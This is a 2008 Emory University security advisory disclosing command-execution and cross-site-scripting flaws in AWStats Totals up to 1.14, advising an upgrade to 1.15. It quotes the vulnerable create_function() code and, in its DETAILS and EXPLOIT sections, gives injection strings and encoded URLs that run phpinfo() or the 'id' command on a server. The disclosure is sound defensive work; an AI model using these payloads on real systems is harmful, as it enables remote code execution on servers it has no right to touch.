EMORY-2008-01.txt

`Emory University UTS Security Advisory EMORY-2008-01  
  
Topic: Multiple Vulnerabilities in AWStats Totals  
  
Original release date: August 26, 2008  
  
SUMMARY  
=======  
  
Telartis's AWStats Totals program is vulnerable to command execution  
and cross site scripting attacks. A remote attacker could exploit  
these vulnerabilities to run arbitrary commands on the system with the  
permissions of the web server.  
  
AFFECTED SOFTWARE  
=================  
  
* AWStats Totals 1.0 - 1.14  
  
UNAFFECTED  
==========  
  
* AWStats Totals >= 1.15  
  
IMPACT  
======  
  
A remote attacker could exploit these vulnerabilities to run arbitrary  
commands on the web server's host operating system.  
  
DETAILS  
=======  
  
AWStats Totals takes three URL parameters, "month," "year," and  
"sort," and uses them without checking them for validity.  
  
The program uses the month and year parameters in output it displays  
to the user. It will display any HTML or Javascript code included in  
these parameters, which the user's browser will then render.  
  
The program uses the sort parameter to build an anonymous PHP function  
with the create_function() function.  
  
> function multisort(&$array, $key) {  
> $cmp = create_function('$a, $b',  
> 'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'.  
> 'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;');  
> usort($array, $cmp);  
> }  
>   
> if ($sort == 'config') sort($rows); else multisort($rows, $sort);  
  
Taking care to match properly the quotes and angle brackets, it is  
possible to insert PHP expressions into the code for the function. For  
example, to run the phpinfo() function, one might set sort to this  
value:  
  
"].phpinfo().$a["  
  
Since any code one injects gets run multiple times, however, it may be  
useful to exit the program after a single invocation:  
  
"].phpinfo().exit().$a["  
  
It is also possible to insert PHP expressions through the use of  
variable expansion within strings on newer versions of PHP:  
  
{${phpinfo()}}{${exit()}}  
  
SOLUTION  
========  
  
Upgrade to AWStats Totals 1.15.  
  
http://www.telartis.nl/xcms/awstats/  
  
EXPLOIT  
=======  
  
The following examples require that magic quotes be disabled, but will  
work on all versions of PHP.  
  
This example will display phpinfo().  
  
http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2ephpinfo%28%29%2eexit%28%29%2e%24a%5b%22  
  
This example will run the "id" command on the target system.  
  
http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2epassthru%28%27id%27%29%2eexit%28%29%2e%24a%5b%22  
  
======  
  
The following examples require a version of PHP which parses function  
calls inside strings (5+, some versions of 4?), but will work if magic  
quotes are enabled.  
  
This example will display phpinfo().  
  
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%7d%7d%7b%24%7bexit%28%29%7d%7d  
  
This example will run the "id" command on the target system.  
  
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d  
  
ACKNOWLEDGMENTS  
===============  
  
Thanks to Telartis B.V. and Jeroen de Jong for quickly releasing an  
updated version and for assisting with this advisory.  
  
DISCLAIMER  
==========  
  
The information in this advisory is provided by Emory as a courtesy  
and without any representations or warranties. Recipients are  
advised to conduct their own investigation and due diligence before  
relying on its contents.  
  
REVISION HISTORY  
================  
  
2008-08-26 original release  
`